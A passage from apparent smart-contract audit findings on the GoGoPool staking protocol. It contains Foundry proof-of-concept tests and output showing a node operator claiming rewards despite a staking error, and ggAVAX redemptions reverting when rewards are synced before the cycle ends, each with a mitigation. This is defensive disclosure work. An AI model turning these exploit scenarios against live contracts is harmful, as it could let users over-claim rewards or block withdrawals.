    uint256 priorBalance_nodeOp = nodeOp1.balance;
    minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);
    assertEq((nodeOp1.balance - priorBalance_nodeOp), depositAmt);
    vm.stopPrank();
    //
    // 4. NodeOp1 can get rewards even if there was an error with the node registration as validator.
    //
    skip(2629756);
    vm.startPrank(address(rialto));
    assertTrue(nopClaim.isEligible(nodeOp1)); //<- The NodeOp1 is eligible for rewards
    nopClaim.calculateAndDistributeRewards(nodeOp1, 200 ether);
    vm.stopPrank();
    assertGt(staking.getGGPRewards(nodeOp1), 0);
    vm.startPrank(address(nodeOp1));
    nopClaim.claimAndRestake(staking.getGGPRewards(nodeOp1)); //<- Claim nodeOp1 rewards
    vm.stopPrank();
}

Tools used

Foundry/VsCode

Recommended Mitigation Steps

The MinipoolManager.sol::recordStakingError() function should reset the Assigned high water staking.resetAVAXAssignedHighWater(stakerAddr); so the user can not claim rewards for a minipool with errors.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L191 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L88

Vulnerability details

Impact

The totalReleasedAssets variable is updated on the syncRewards() function if someone calls the function before rewardsCycleEnd the redeemAVAX() will be reverted because the totalReleasedAssets may not include all the rewards.

The ggAvax holder can not redeem his funds until the rewardsCycleEnd

Proof of Concept

I did the next test:

1. Create minipool (2000 avax)
2. Deposit rewards to the minipool (200 AVAX rewards)
3. Sync the rewards before the cycle ends
4. Redeem function will revert
5. Redeem will be available after the cycle end

function testRedeemUnderOverFlow() public {
    // Redeem function reverts arithmetic error
    // 1.- Create minipool
    // 2.- Deposit rewards to the minipool
    // 3.- Sync the Rewards before the cycle end
    // 4.- Redeem function will revert
    // 5.- Redeem will be available after the cycle end.
    // Deposit liquid staker funds
    uint256 depositAmount = 1200 ether;
    uint256 nodeAmt = 2000 ether;
    uint128 ggpStakeAmt = 200 ether;
    vm.deal(bob, depositAmount);
    vm.prank(bob);
    ggAVAX.depositAVAX{value: depositAmount}();//Avax deposit 1200
    //
    // 1.- Create minipool
    //
    address nodeOp = getActorWithTokens("nodeOp", uint128(depositAmount), ggpStakeAmt);
    // Nodeop stake GGP and create minipoool
    vm.startPrank(nodeOp);
    ggp.approve(address(staking), ggpStakeAmt);
    staking.stakeGGP(ggpStakeAmt);
    MinipoolManager.Minipool memory mp = createMinipool(nodeAmt / 2, nodeAmt / 2, duration);
    vm.stopPrank();
    // Rialto init recordStakingStart
    vm.startPrank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp.nodeID);
    minipoolMgr.recordStakingStart(mp.nodeID, randHash(), block.timestamp);
    vm.stopPrank();
    skip(mp.duration);
    //
    // 2.- Deposit rewards to the minipool
    //
    uint256 rewardsAmt = nodeAmt.mulDivDown(0.1 ether, 1 ether);
    console.log("Rewards amount:", rewardsAmt / 1 ether);
    vm.deal(address(rialto), address(rialto).balance + rewardsAmt);
    vm.prank(address(rialto));
    minipoolMgr.recordStakingEnd{value: nodeAmt + rewardsAmt}(mp.nodeID, block.timestamp, rewardsAmt);
    //
    // 3.- Sync the Rewards before the cycle end
    //
    ggAVAX.syncRewards();
    uint256 maxRedeemSharesBob = ggAVAX.maxRedeem(bob);
    console.log("TotalReleasedAssets after syncRewards:", ggAVAX.totalReleasedAssets() / 1 ether);
    console.log("LastRewards after syncRewards:", ggAVAX.lastRewardsAmt() / 1 ether);
    console.log("Bob maxRedeem():", maxRedeemSharesBob / 1 ether);
    //
    // 4.- Redeem function will revert
    //
    skip(1 days);
    console.log("Bob PreviewRedeem() after skip one day:", ggAVAX.previewRedeem(maxRedeemSharesBob) / 1 ether);
    vm.prank(bob);
    vm.expectRevert(stdError.arithmeticError); // Revert by arithmetic error
    ggAVAX.redeemAVAX(maxRedeemSharesBob);
    //
    // 5.- Redeem will be available after the cycle end.
    //
    skip(ggAVAX.rewardsCycleLength() + 1 days);
    ggAVAX.syncRewards();
    maxRedeemSharesBob = ggAVAX.maxRedeem(bob);
    console.log("");
    console.log("TotalReleasedAssets after syncRewards:", ggAVAX.totalReleasedAssets() / 1 ether);
    console.log("LastRewards after syncRewards:", ggAVAX.lastRewardsAmt() / 1 ether);
    console.log("Bob maxRedeem():", maxRedeemSharesBob / 1 ether);
    console.log("Bob PreviewRedeem() after skip to the cycle end:", ggAVAX.previewRedeem(maxRedeemSharesBob) / 1 ether);
    vm.prank(bob);
    ggAVAX.redeemAVAX(maxRedeemSharesBob);
}

Output:

[PASS] testRedeemUnderOverFlow() (gas: 1244356)
Logs:
  Rewards amount: 200
  TotalReleasedAssets after syncRewards: 1200
  LastRewards after syncRewards: 85
  Bob maxRedeem(): 1200
  Bob PreviewRedeem() after skip one day: 1206
  
  TotalReleasedAssets after syncRewards: 1285
  LastRewards after syncRewards: 0
  Bob maxRedeem(): 1200
  Bob PreviewRedeem() after skip to the cycle end: 1285

Tools used

Foundry/VsCode

Recommended Mitigation Steps

Consider redeem the max available amount for the shares owner instead of revert. The maxRedeem() function amount is not the same as the previewRedeem() amount.